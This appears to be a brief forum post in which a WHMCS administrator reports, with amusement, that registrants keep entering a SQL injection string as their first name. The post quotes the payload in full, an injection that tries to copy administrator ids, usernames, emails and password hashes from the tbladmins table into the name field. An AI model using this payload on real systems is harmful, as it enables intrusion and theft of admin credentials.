People on one of our WHMCS installs keep changing their first name to:
'AES_ENCRYPT(1,1), firstname=(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)
It isn't doing anything, but it's funny to see them register and try and try and try... lol